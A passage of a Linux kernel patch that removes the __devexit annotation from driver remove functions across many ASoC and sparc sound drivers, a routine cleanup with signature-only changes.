 	return ret;
 }
 
-static int __devexit corgi_remove(struct platform_device *pdev)
+static int corgi_remove(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/pxa/e740_wm9705.c b/sound/soc/pxa/e740_wm9705.c
index 189d77c..70d799b 100644
--- a/sound/soc/pxa/e740_wm9705.c
+++ b/sound/soc/pxa/e740_wm9705.c
@@ -165,7 +165,7 @@ static int e740_probe(struct platform_device *pdev)
 	return ret;
 }
 
-static int __devexit e740_remove(struct platform_device *pdev)
+static int e740_remove(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/pxa/e750_wm9705.c b/sound/soc/pxa/e750_wm9705.c
index 319d55b..f94d2ab 100644
--- a/sound/soc/pxa/e750_wm9705.c
+++ b/sound/soc/pxa/e750_wm9705.c
@@ -147,7 +147,7 @@ static int e750_probe(struct platform_device *pdev)
 	return ret;
 }
 
-static int __devexit e750_remove(struct platform_device *pdev)
+static int e750_remove(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/pxa/e800_wm9712.c b/sound/soc/pxa/e800_wm9712.c
index 9fa2cd1..8768a64 100644
--- a/sound/soc/pxa/e800_wm9712.c
+++ b/sound/soc/pxa/e800_wm9712.c
@@ -137,7 +137,7 @@ static int e800_probe(struct platform_device *pdev)
 	return ret;
 }
 
-static int __devexit e800_remove(struct platform_device *pdev)
+static int e800_remove(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/pxa/hx4700.c b/sound/soc/pxa/hx4700.c
index 40c07b3..dcc9b04 100644
--- a/sound/soc/pxa/hx4700.c
+++ b/sound/soc/pxa/hx4700.c
@@ -204,7 +204,7 @@ static int hx4700_audio_probe(struct platform_device *pdev)
 	return ret;
 }
 
-static int __devexit hx4700_audio_remove(struct platform_device *pdev)
+static int hx4700_audio_remove(struct platform_device *pdev)
 {
 	snd_soc_jack_free_gpios(&hs_jack, 1, &hs_jack_gpio);
 	snd_soc_unregister_card(&snd_soc_card_hx4700);
diff --git a/sound/soc/pxa/imote2.c b/sound/soc/pxa/imote2.c
index e89441d..eef1f7b 100644
--- a/sound/soc/pxa/imote2.c
+++ b/sound/soc/pxa/imote2.c
@@ -79,7 +79,7 @@ static int imote2_probe(struct platform_device *pdev)
 	return ret;
 }
 
-static int __devexit imote2_remove(struct platform_device *pdev)
+static int imote2_remove(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/pxa/mioa701_wm9713.c b/sound/soc/pxa/mioa701_wm9713.c
index 135a839..97b711e 100644
--- a/sound/soc/pxa/mioa701_wm9713.c
+++ b/sound/soc/pxa/mioa701_wm9713.c
@@ -202,7 +202,7 @@ static int mioa701_wm9713_probe(struct platform_device *pdev)
 	return rc;
 }
 
-static int __devexit mioa701_wm9713_remove(struct platform_device *pdev)
+static int mioa701_wm9713_remove(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/pxa/mmp-pcm.c b/sound/soc/pxa/mmp-pcm.c
index 1324673..190eb0b 100644
--- a/sound/soc/pxa/mmp-pcm.c
+++ b/sound/soc/pxa/mmp-pcm.c
@@ -274,7 +274,7 @@ static int mmp_pcm_probe(struct platform_device *pdev)
 	return snd_soc_register_platform(&pdev->dev, &mmp_soc_platform);
 }
 
-static int __devexit mmp_pcm_remove(struct platform_device *pdev)
+static int mmp_pcm_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_platform(&pdev->dev);
 	return 0;
diff --git a/sound/soc/pxa/mmp-sspa.c b/sound/soc/pxa/mmp-sspa.c
index c97ce5b0..41c3a09 100644
--- a/sound/soc/pxa/mmp-sspa.c
+++ b/sound/soc/pxa/mmp-sspa.c
@@ -453,7 +453,7 @@ static int asoc_mmp_sspa_probe(struct platform_device *pdev)
 	return snd_soc_register_dai(&pdev->dev, &mmp_sspa_dai);
 }
 
-static int __devexit asoc_mmp_sspa_remove(struct platform_device *pdev)
+static int asoc_mmp_sspa_remove(struct platform_device *pdev)
 {
 	struct sspa_priv *priv = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/pxa/palm27x.c b/sound/soc/pxa/palm27x.c
index b374f09..2074e2d 100644
--- a/sound/soc/pxa/palm27x.c
+++ b/sound/soc/pxa/palm27x.c
@@ -187,7 +187,7 @@ put_device:
 	return ret;
 }
 
-static int __devexit palm27x_asoc_remove(struct platform_device *pdev)
+static int palm27x_asoc_remove(struct platform_device *pdev)
 {
 	platform_device_unregister(palm27x_snd_device);
 	return 0;
diff --git a/sound/soc/pxa/poodle.c b/sound/soc/pxa/poodle.c
index bc00684..fafe463 100644
--- a/sound/soc/pxa/poodle.c
+++ b/sound/soc/pxa/poodle.c
@@ -291,7 +291,7 @@ static int poodle_probe(struct platform_device *pdev)
 	return ret;
 }
 
-static int __devexit poodle_remove(struct platform_device *pdev)
+static int poodle_remove(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/pxa/pxa-ssp.c b/sound/soc/pxa/pxa-ssp.c
index 6a61748..d3eb0c2 100644
--- a/sound/soc/pxa/pxa-ssp.c
+++ b/sound/soc/pxa/pxa-ssp.c
@@ -799,7 +799,7 @@ static int asoc_ssp_probe(struct platform_device *pdev)
 	return snd_soc_register_dai(&pdev->dev, &pxa_ssp_dai);
 }
 
-static int __devexit asoc_ssp_remove(struct platform_device *pdev)
+static int asoc_ssp_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_dai(&pdev->dev);
 	return 0;
diff --git a/sound/soc/pxa/pxa2xx-ac97.c b/sound/soc/pxa/pxa2xx-ac97.c
index 0a6194d..4b0a009 100644
--- a/sound/soc/pxa/pxa2xx-ac97.c
+++ b/sound/soc/pxa/pxa2xx-ac97.c
@@ -249,7 +249,7 @@ static int pxa2xx_ac97_dev_probe(struct platform_device *pdev)
 			ARRAY_SIZE(pxa_ac97_dai_driver));
 }
 
-static int __devexit pxa2xx_ac97_dev_remove(struct platform_device *pdev)
+static int pxa2xx_ac97_dev_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_dais(&pdev->dev, ARRAY_SIZE(pxa_ac97_dai_driver));
 	return 0;
diff --git a/sound/soc/pxa/pxa2xx-i2s.c b/sound/soc/pxa/pxa2xx-i2s.c
index 591ba1d..6b1a06f 100644
--- a/sound/soc/pxa/pxa2xx-i2s.c
+++ b/sound/soc/pxa/pxa2xx-i2s.c
@@ -365,7 +365,7 @@ static int pxa2xx_i2s_drv_probe(struct platform_device *pdev)
 	return snd_soc_register_dai(&pdev->dev, &pxa_i2s_dai);
 }
 
-static int __devexit pxa2xx_i2s_drv_remove(struct platform_device *pdev)
+static int pxa2xx_i2s_drv_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_dai(&pdev->dev);
 	return 0;
diff --git a/sound/soc/pxa/pxa2xx-pcm.c b/sound/soc/pxa/pxa2xx-pcm.c
index 9d6f78a..ecff116 100644
--- a/sound/soc/pxa/pxa2xx-pcm.c
+++ b/sound/soc/pxa/pxa2xx-pcm.c
@@ -125,7 +125,7 @@ static int pxa2xx_soc_platform_probe(struct platform_device *pdev)
 	return snd_soc_register_platform(&pdev->dev, &pxa2xx_soc_platform);
 }
 
-static int __devexit pxa2xx_soc_platform_remove(struct platform_device *pdev)
+static int pxa2xx_soc_platform_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_platform(&pdev->dev);
 	return 0;
diff --git a/sound/soc/pxa/tosa.c b/sound/soc/pxa/tosa.c
index 4f6d8b1..a3fe191 100644
--- a/sound/soc/pxa/tosa.c
+++ b/sound/soc/pxa/tosa.c
@@ -262,7 +262,7 @@ static int tosa_probe(struct platform_device *pdev)
 	return ret;
 }
 
-static int __devexit tosa_remove(struct platform_device *pdev)
+static int tosa_remove(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/pxa/ttc-dkb.c b/sound/soc/pxa/ttc-dkb.c
index 490c76c..f4ea4f6 100644
--- a/sound/soc/pxa/ttc-dkb.c
+++ b/sound/soc/pxa/ttc-dkb.c
@@ -146,7 +146,7 @@ static int ttc_dkb_probe(struct platform_device *pdev)
 	return ret;
 }
 
-static int __devexit ttc_dkb_remove(struct platform_device *pdev)
+static int ttc_dkb_remove(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/s6000/s6000-i2s.c b/sound/soc/s6000/s6000-i2s.c
index 79abcd0..fee4d47 100644
--- a/sound/soc/s6000/s6000-i2s.c
+++ b/sound/soc/s6000/s6000-i2s.c
@@ -566,7 +566,7 @@ err_release_none:
 	return ret;
 }
 
-static void __devexit s6000_i2s_remove(struct platform_device *pdev)
+static void s6000_i2s_remove(struct platform_device *pdev)
 {
 	struct s6000_i2s_dev *dev = dev_get_drvdata(&pdev->dev);
 	struct resource *region;
diff --git a/sound/soc/s6000/s6000-pcm.c b/sound/soc/s6000/s6000-pcm.c
index d4672ba..1358c7d 100644
--- a/sound/soc/s6000/s6000-pcm.c
+++ b/sound/soc/s6000/s6000-pcm.c
@@ -505,7 +505,7 @@ static int s6000_soc_platform_probe(struct platform_device *pdev)
 	return snd_soc_register_platform(&pdev->dev, &s6000_soc_platform);
 }
 
-static int __devexit s6000_soc_platform_remove(struct platform_device *pdev)
+static int s6000_soc_platform_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_platform(&pdev->dev);
 	return 0;
diff --git a/sound/soc/samsung/ac97.c b/sound/soc/samsung/ac97.c
index 1d097f7..c9a3fff 100644
--- a/sound/soc/samsung/ac97.c
+++ b/sound/soc/samsung/ac97.c
@@ -478,7 +478,7 @@ err1:
 	return ret;
 }
 
-static __devexit int s3c_ac97_remove(struct platform_device *pdev)
+static int s3c_ac97_remove(struct platform_device *pdev)
 {
 	struct resource *mem_res, *irq_res;
 
diff --git a/sound/soc/samsung/bells.c b/sound/soc/samsung/bells.c
index f7545ac..3733b01 100644
--- a/sound/soc/samsung/bells.c
+++ b/sound/soc/samsung/bells.c
@@ -429,7 +429,7 @@ static int bells_probe(struct platform_device *pdev)
 	return 0;
 }
 
-static int __devexit bells_remove(struct platform_device *pdev)
+static int bells_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_card(&bells_cards[pdev->id]);
 
diff --git a/sound/soc/samsung/dma.c b/sound/soc/samsung/dma.c
index 3705a8a..897dedc 100644
--- a/sound/soc/samsung/dma.c
+++ b/sound/soc/samsung/dma.c
@@ -437,7 +437,7 @@ static int samsung_asoc_platform_probe(struct platform_device *pdev)
 	return snd_soc_register_platform(&pdev->dev, &samsung_asoc_platform);
 }
 
-static int __devexit samsung_asoc_platform_remove(struct platform_device *pdev)
+static int samsung_asoc_platform_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_platform(&pdev->dev);
 	return 0;
diff --git a/sound/soc/samsung/i2s.c b/sound/soc/samsung/i2s.c
index 6a60e71..533f454 100644
--- a/sound/soc/samsung/i2s.c
+++ b/sound/soc/samsung/i2s.c
@@ -1113,7 +1113,7 @@ err:
 	return ret;
 }
 
-static __devexit int samsung_i2s_remove(struct platform_device *pdev)
+static int samsung_i2s_remove(struct platform_device *pdev)
 {
 	struct i2s_dai *i2s, *other;
 	struct resource *res;
diff --git a/sound/soc/samsung/idma.c b/sound/soc/samsung/idma.c
index 136285b..a07950b 100644
--- a/sound/soc/samsung/idma.c
+++ b/sound/soc/samsung/idma.c
@@ -421,7 +421,7 @@ static int asoc_idma_platform_probe(struct platform_device *pdev)
 	return snd_soc_register_platform(&pdev->dev, &asoc_idma_platform);
 }
 
-static int __devexit asoc_idma_platform_remove(struct platform_device *pdev)
+static int asoc_idma_platform_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_platform(&pdev->dev);
 	return 0;
diff --git a/sound/soc/samsung/littlemill.c b/sound/soc/samsung/littlemill.c
index 0d06249..86f49b2 100644
--- a/sound/soc/samsung/littlemill.c
+++ b/sound/soc/samsung/littlemill.c
@@ -314,7 +314,7 @@ static int littlemill_probe(struct platform_device *pdev)
 	return 0;
 }
 
-static int __devexit littlemill_remove(struct platform_device *pdev)
+static int littlemill_remove(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/samsung/lowland.c b/sound/soc/samsung/lowland.c
index e4f08fc..4ab621d 100644
--- a/sound/soc/samsung/lowland.c
+++ b/sound/soc/samsung/lowland.c
@@ -197,7 +197,7 @@ static int lowland_probe(struct platform_device *pdev)
 	return 0;
 }
 
-static int __devexit lowland_remove(struct platform_device *pdev)
+static int lowland_remove(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/samsung/pcm.c b/sound/soc/samsung/pcm.c
index 3708658..2731457a 100644
--- a/sound/soc/samsung/pcm.c
+++ b/sound/soc/samsung/pcm.c
@@ -605,7 +605,7 @@ err1:
 	return ret;
 }
 
-static __devexit int s3c_pcm_dev_remove(struct platform_device *pdev)
+static int s3c_pcm_dev_remove(struct platform_device *pdev)
 {
 	struct s3c_pcm_info *pcm = &s3c_pcm[pdev->id];
 	struct resource *mem_res;
diff --git a/sound/soc/samsung/s3c2412-i2s.c b/sound/soc/samsung/s3c2412-i2s.c
index e2db71e..7243cc3 100644
--- a/sound/soc/samsung/s3c2412-i2s.c
+++ b/sound/soc/samsung/s3c2412-i2s.c
@@ -165,7 +165,7 @@ static int s3c2412_iis_dev_probe(struct platform_device *pdev)
 	return s3c_i2sv2_register_dai(&pdev->dev, -1, &s3c2412_i2s_dai);
 }
 
-static __devexit int s3c2412_iis_dev_remove(struct platform_device *pdev)
+static int s3c2412_iis_dev_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_dai(&pdev->dev);
 	return 0;
diff --git a/sound/soc/samsung/s3c24xx-i2s.c b/sound/soc/samsung/s3c24xx-i2s.c
index 05491d9..142e130 100644
--- a/sound/soc/samsung/s3c24xx-i2s.c
+++ b/sound/soc/samsung/s3c24xx-i2s.c
@@ -470,7 +470,7 @@ static int s3c24xx_iis_dev_probe(struct platform_device *pdev)
 	return snd_soc_register_dai(&pdev->dev, &s3c24xx_i2s_dai);
 }
 
-static __devexit int s3c24xx_iis_dev_remove(struct platform_device *pdev)
+static int s3c24xx_iis_dev_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_dai(&pdev->dev);
 	return 0;
diff --git a/sound/soc/samsung/s3c24xx_simtec.c b/sound/soc/samsung/s3c24xx_simtec.c
index 98b7c98..3564444 100644
--- a/sound/soc/samsung/s3c24xx_simtec.c
+++ b/sound/soc/samsung/s3c24xx_simtec.c
@@ -371,7 +371,7 @@ err_clk:
 }
 EXPORT_SYMBOL_GPL(simtec_audio_core_probe);
 
-int __devexit simtec_audio_remove(struct platform_device *pdev)
+int simtec_audio_remove(struct platform_device *pdev)
 {
 	struct platform_device *snd_dev = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/samsung/smdk_wm8580pcm.c b/sound/soc/samsung/smdk_wm8580pcm.c
index 649997e..b0bf4c8 100644
--- a/sound/soc/samsung/smdk_wm8580pcm.c
+++ b/sound/soc/samsung/smdk_wm8580pcm.c
@@ -173,7 +173,7 @@ static int snd_smdk_probe(struct platform_device *pdev)
 	return 0;
 }
 
-static int __devexit snd_smdk_remove(struct platform_device *pdev)
+static int snd_smdk_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_card(&smdk_pcm);
 	platform_set_drvdata(pdev, NULL);
diff --git a/sound/soc/samsung/smdk_wm8994.c b/sound/soc/samsung/smdk_wm8994.c
index 1a01571..ede44d3 100644
--- a/sound/soc/samsung/smdk_wm8994.c
+++ b/sound/soc/samsung/smdk_wm8994.c
@@ -164,7 +164,7 @@ static int smdk_audio_probe(struct platform_device *pdev)
 	return ret;
 }
 
-static int __devexit smdk_audio_remove(struct platform_device *pdev)
+static int smdk_audio_remove(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/samsung/smdk_wm8994pcm.c b/sound/soc/samsung/smdk_wm8994pcm.c
index 84d8f94..0154fb3 100644
--- a/sound/soc/samsung/smdk_wm8994pcm.c
+++ b/sound/soc/samsung/smdk_wm8994pcm.c
@@ -143,7 +143,7 @@ static int snd_smdk_probe(struct platform_device *pdev)
 	return 0;
 }
 
-static int __devexit snd_smdk_remove(struct platform_device *pdev)
+static int snd_smdk_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_card(&smdk_pcm);
 	platform_set_drvdata(pdev, NULL);
diff --git a/sound/soc/samsung/spdif.c b/sound/soc/samsung/spdif.c
index 5612ea8..73f6646 100644
--- a/sound/soc/samsung/spdif.c
+++ b/sound/soc/samsung/spdif.c
@@ -453,7 +453,7 @@ err0:
 	return ret;
 }
 
-static __devexit int spdif_remove(struct platform_device *pdev)
+static int spdif_remove(struct platform_device *pdev)
 {
 	struct samsung_spdif_info *spdif = &spdif_info;
 	struct resource *mem_res;
diff --git a/sound/soc/samsung/speyside.c b/sound/soc/samsung/speyside.c
index 01bad86..f9ed2d6 100644
--- a/sound/soc/samsung/speyside.c
+++ b/sound/soc/samsung/speyside.c
@@ -337,7 +337,7 @@ static int speyside_probe(struct platform_device *pdev)
 	return 0;
 }
 
-static int __devexit speyside_remove(struct platform_device *pdev)
+static int speyside_remove(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/samsung/tobermory.c b/sound/soc/samsung/tobermory.c
index 01d474c..6565184 100644
--- a/sound/soc/samsung/tobermory.c
+++ b/sound/soc/samsung/tobermory.c
@@ -231,7 +231,7 @@ static int tobermory_probe(struct platform_device *pdev)
 	return 0;
 }
 
-static int __devexit tobermory_remove(struct platform_device *pdev)
+static int tobermory_remove(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/sh/dma-sh7760.c b/sound/soc/sh/dma-sh7760.c
index 9b06724..19eff8f 100644
--- a/sound/soc/sh/dma-sh7760.c
+++ b/sound/soc/sh/dma-sh7760.c
@@ -353,7 +353,7 @@ static int sh7760_soc_platform_probe(struct platform_device *pdev)
 	return snd_soc_register_platform(&pdev->dev, &sh7760_soc_platform);
 }
 
-static int __devexit sh7760_soc_platform_remove(struct platform_device *pdev)
+static int sh7760_soc_platform_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_platform(&pdev->dev);
 	return 0;
diff --git a/sound/soc/sh/hac.c b/sound/soc/sh/hac.c
index 2efdd48..4cc2d64 100644
--- a/sound/soc/sh/hac.c
+++ b/sound/soc/sh/hac.c
@@ -316,7 +316,7 @@ static int hac_soc_platform_probe(struct platform_device *pdev)
 			ARRAY_SIZE(sh4_hac_dai));
 }
 
-static int __devexit hac_soc_platform_remove(struct platform_device *pdev)
+static int hac_soc_platform_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_dais(&pdev->dev, ARRAY_SIZE(sh4_hac_dai));
 	return 0;
diff --git a/sound/soc/sh/siu_dai.c b/sound/soc/sh/siu_dai.c
index 694cb96..34facdc 100644
--- a/sound/soc/sh/siu_dai.c
+++ b/sound/soc/sh/siu_dai.c
@@ -815,7 +815,7 @@ ereqfw:
 	return ret;
 }
 
-static int __devexit siu_remove(struct platform_device *pdev)
+static int siu_remove(struct platform_device *pdev)
 {
 	struct siu_info *info = dev_get_drvdata(&pdev->dev);
 	struct resource *res;
diff --git a/sound/soc/sh/ssi.c b/sound/soc/sh/ssi.c
index 1b26656..c8e73a7 100644
--- a/sound/soc/sh/ssi.c
+++ b/sound/soc/sh/ssi.c
@@ -385,7 +385,7 @@ static int sh4_soc_dai_probe(struct platform_device *pdev)
 			ARRAY_SIZE(sh4_ssi_dai));
 }
 
-static int __devexit sh4_soc_dai_remove(struct platform_device *pdev)
+static int sh4_soc_dai_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_dais(&pdev->dev, ARRAY_SIZE(sh4_ssi_dai));
 	return 0;
diff --git a/sound/soc/soc-utils.c b/sound/soc/soc-utils.c
index 813689d..fe4541d 100644
--- a/sound/soc/soc-utils.c
+++ b/sound/soc/soc-utils.c
@@ -111,7 +111,7 @@ static int snd_soc_dummy_probe(struct platform_device *pdev)
 	return ret;
 }
 
-static __devexit int snd_soc_dummy_remove(struct platform_device *pdev)
+static int snd_soc_dummy_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_platform(&pdev->dev);
 	snd_soc_unregister_codec(&pdev->dev);
diff --git a/sound/soc/spear/spear_pcm.c b/sound/soc/spear/spear_pcm.c
index 29c23d3..9b76cc5 100644
--- a/sound/soc/spear/spear_pcm.c
+++ b/sound/soc/spear/spear_pcm.c
@@ -189,7 +189,7 @@ static int spear_soc_platform_probe(struct platform_device *pdev)
 	return snd_soc_register_platform(&pdev->dev, &spear_soc_platform);
 }
 
-static int __devexit spear_soc_platform_remove(struct platform_device *pdev)
+static int spear_soc_platform_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_platform(&pdev->dev);
 
diff --git a/sound/soc/tegra/tegra20_das.c b/sound/soc/tegra/tegra20_das.c
index 7b0a1f5..6543184 100644
--- a/sound/soc/tegra/tegra20_das.c
+++ b/sound/soc/tegra/tegra20_das.c
@@ -200,7 +200,7 @@ err:
 	return ret;
 }
 
-static int __devexit tegra20_das_remove(struct platform_device *pdev)
+static int tegra20_das_remove(struct platform_device *pdev)
 {
 	if (!das)
 		return -ENODEV;
diff --git a/sound/soc/tegra/tegra20_i2s.c b/sound/soc/tegra/tegra20_i2s.c
index 34557d3..caa772d 100644
--- a/sound/soc/tegra/tegra20_i2s.c
+++ b/sound/soc/tegra/tegra20_i2s.c
@@ -447,7 +447,7 @@ err:
 	return ret;
 }
 
-static int __devexit tegra20_i2s_platform_remove(struct platform_device *pdev)
+static int tegra20_i2s_platform_remove(struct platform_device *pdev)
 {
 	struct tegra20_i2s *i2s = dev_get_drvdata(&pdev->dev);
 
diff --git a/sound/soc/tegra/tegra20_spdif.c b/sound/soc/tegra/tegra20_spdif.c
index a2f9fe8..04771d1 100644
--- a/sound/soc/tegra/tegra20_spdif.c
+++ b/sound/soc/tegra/tegra20_spdif.c
@@ -357,7 +357,7 @@ err:
 	return ret;
 }
 
-static int __devexit tegra20_spdif_platform_remove(struct platform_device *pdev)
+static int tegra20_spdif_platform_remove(struct platform_device *pdev)
 {
 	struct tegra20_spdif *spdif = dev_get_drvdata(&pdev->dev);
 
diff --git a/sound/soc/tegra/tegra30_ahub.c b/sound/soc/tegra/tegra30_ahub.c
index e1cc576..f354dc3 100644
--- a/sound/soc/tegra/tegra30_ahub.c
+++ b/sound/soc/tegra/tegra30_ahub.c
@@ -585,7 +585,7 @@ err:
 	return ret;
 }
 
-static int __devexit tegra30_ahub_remove(struct platform_device *pdev)
+static int tegra30_ahub_remove(struct platform_device *pdev)
 {
 	if (!ahub)
 		return -ENODEV;
diff --git a/sound/soc/tegra/tegra30_i2s.c b/sound/soc/tegra/tegra30_i2s.c
index 18d6847..27e91dd 100644
--- a/sound/soc/tegra/tegra30_i2s.c
+++ b/sound/soc/tegra/tegra30_i2s.c
@@ -492,7 +492,7 @@ err:
 	return ret;
 }
 
-static int __devexit tegra30_i2s_platform_remove(struct platform_device *pdev)
+static int tegra30_i2s_platform_remove(struct platform_device *pdev)
 {
 	struct tegra30_i2s *i2s = dev_get_drvdata(&pdev->dev);
 
diff --git a/sound/soc/tegra/tegra_alc5632.c b/sound/soc/tegra/tegra_alc5632.c
index b2e3c00..c80adb9 100644
--- a/sound/soc/tegra/tegra_alc5632.c
+++ b/sound/soc/tegra/tegra_alc5632.c
@@ -227,7 +227,7 @@ err:
 	return ret;
 }
 
-static int __devexit tegra_alc5632_remove(struct platform_device *pdev)
+static int tegra_alc5632_remove(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = platform_get_drvdata(pdev);
 	struct tegra_alc5632 *machine = snd_soc_card_get_drvdata(card);
diff --git a/sound/soc/tegra/tegra_pcm.c b/sound/soc/tegra/tegra_pcm.c
index 4061984..c925ab0 100644
--- a/sound/soc/tegra/tegra_pcm.c
+++ b/sound/soc/tegra/tegra_pcm.c
@@ -259,7 +259,7 @@ int tegra_pcm_platform_register(struct device *dev)
 }
 EXPORT_SYMBOL_GPL(tegra_pcm_platform_register);
 
-void __devexit tegra_pcm_platform_unregister(struct device *dev)
+void tegra_pcm_platform_unregister(struct device *dev)
 {
 	snd_soc_unregister_platform(dev);
 }
diff --git a/sound/soc/tegra/tegra_wm8753.c b/sound/soc/tegra/tegra_wm8753.c
index 53008b0..c8ef88a6 100644
--- a/sound/soc/tegra/tegra_wm8753.c
+++ b/sound/soc/tegra/tegra_wm8753.c
@@ -188,7 +188,7 @@ err:
 	return ret;
 }
 
-static int __devexit tegra_wm8753_driver_remove(struct platform_device *pdev)
+static int tegra_wm8753_driver_remove(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = platform_get_drvdata(pdev);
 	struct tegra_wm8753 *machine = snd_soc_card_get_drvdata(card);
diff --git a/sound/soc/tegra/tegra_wm8903.c b/sound/soc/tegra/tegra_wm8903.c
index 2599252..bbd79bf 100644
--- a/sound/soc/tegra/tegra_wm8903.c
+++ b/sound/soc/tegra/tegra_wm8903.c
@@ -402,7 +402,7 @@ err:
 	return ret;
 }
 
-static int __devexit tegra_wm8903_driver_remove(struct platform_device *pdev)
+static int tegra_wm8903_driver_remove(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = platform_get_drvdata(pdev);
 	struct tegra_wm8903 *machine = snd_soc_card_get_drvdata(card);
diff --git a/sound/soc/tegra/trimslice.c b/sound/soc/tegra/trimslice.c
index 055fd0e..7fcf6c2 100644
--- a/sound/soc/tegra/trimslice.c
+++ b/sound/soc/tegra/trimslice.c
@@ -183,7 +183,7 @@ err:
 	return ret;
 }
 
-static int __devexit tegra_snd_trimslice_remove(struct platform_device *pdev)
+static int tegra_snd_trimslice_remove(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = platform_get_drvdata(pdev);
 	struct tegra_trimslice *trimslice = snd_soc_card_get_drvdata(card);
diff --git a/sound/soc/txx9/txx9aclc-ac97.c b/sound/soc/txx9/txx9aclc-ac97.c
index 4855398..16ab696 100644
--- a/sound/soc/txx9/txx9aclc-ac97.c
+++ b/sound/soc/txx9/txx9aclc-ac97.c
@@ -208,7 +208,7 @@ static int txx9aclc_ac97_dev_probe(struct platform_device *pdev)
 	return snd_soc_register_dai(&pdev->dev, &txx9aclc_ac97_dai);
 }
 
-static int __devexit txx9aclc_ac97_dev_remove(struct platform_device *pdev)
+static int txx9aclc_ac97_dev_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_dai(&pdev->dev);
 	return 0;
diff --git a/sound/soc/txx9/txx9aclc.c b/sound/soc/txx9/txx9aclc.c
index bdb8165..45a6428 100644
--- a/sound/soc/txx9/txx9aclc.c
+++ b/sound/soc/txx9/txx9aclc.c
@@ -422,7 +422,7 @@ static int txx9aclc_soc_platform_probe(struct platform_device *pdev)
 	return snd_soc_register_platform(&pdev->dev, &txx9aclc_soc_platform);
 }
 
-static int __devexit txx9aclc_soc_platform_remove(struct platform_device *pdev)
+static int txx9aclc_soc_platform_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_platform(&pdev->dev);
 	return 0;
diff --git a/sound/soc/ux500/mop500.c b/sound/soc/ux500/mop500.c
index c04c927..fb694e9 100644
--- a/sound/soc/ux500/mop500.c
+++ b/sound/soc/ux500/mop500.c
@@ -136,7 +136,7 @@ static int mop500_probe(struct platform_device *pdev)
 	return ret;
 }
 
-static int __devexit mop500_remove(struct platform_device *pdev)
+static int mop500_remove(struct platform_device *pdev)
 {
 	struct snd_soc_card *mop500_card = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/ux500/ux500_msp_dai.c b/sound/soc/ux500/ux500_msp_dai.c
index 5e9fc81..6a284fb 100644
--- a/sound/soc/ux500/ux500_msp_dai.c
+++ b/sound/soc/ux500/ux500_msp_dai.c
@@ -844,7 +844,7 @@ err_pclk:
 	return ret;
 }
 
-static int __devexit ux500_msp_drv_remove(struct platform_device *pdev)
+static int ux500_msp_drv_remove(struct platform_device *pdev)
 {
 	struct ux500_msp_i2s_drvdata *drvdata = dev_get_drvdata(&pdev->dev);
 
diff --git a/sound/soc/ux500/ux500_pcm.c b/sound/soc/ux500/ux500_pcm.c
index 9703b2d..a5cb09d 100644
--- a/sound/soc/ux500/ux500_pcm.c
+++ b/sound/soc/ux500/ux500_pcm.c
@@ -281,7 +281,7 @@ static struct snd_soc_platform_driver ux500_pcm_soc_drv = {
 	.pcm_new        = ux500_pcm_new,
 };
 
-static int __devexit ux500_pcm_drv_probe(struct platform_device *pdev)
+static int ux500_pcm_drv_probe(struct platform_device *pdev)
 {
 	int ret;
 
diff --git a/sound/sparc/cs4231.c b/sound/sparc/cs4231.c
index 0953402..b4e9254 100644
--- a/sound/sparc/cs4231.c
+++ b/sound/sparc/cs4231.c
@@ -2086,7 +2086,7 @@ static int cs4231_probe(struct platform_device *op)
 	return -ENODEV;
 }
 
-static int __devexit cs4231_remove(struct platform_device *op)
+static int cs4231_remove(struct platform_device *op)
 {
 	struct snd_cs4231 *chip = dev_get_drvdata(&op->dev);
 
diff --git a/sound/sparc/dbri.c b/sound/sparc/dbri.c
index aca99ec..71faacb 100644
--- a/sound/sparc/dbri.c
+++ b/sound/sparc/dbri.c
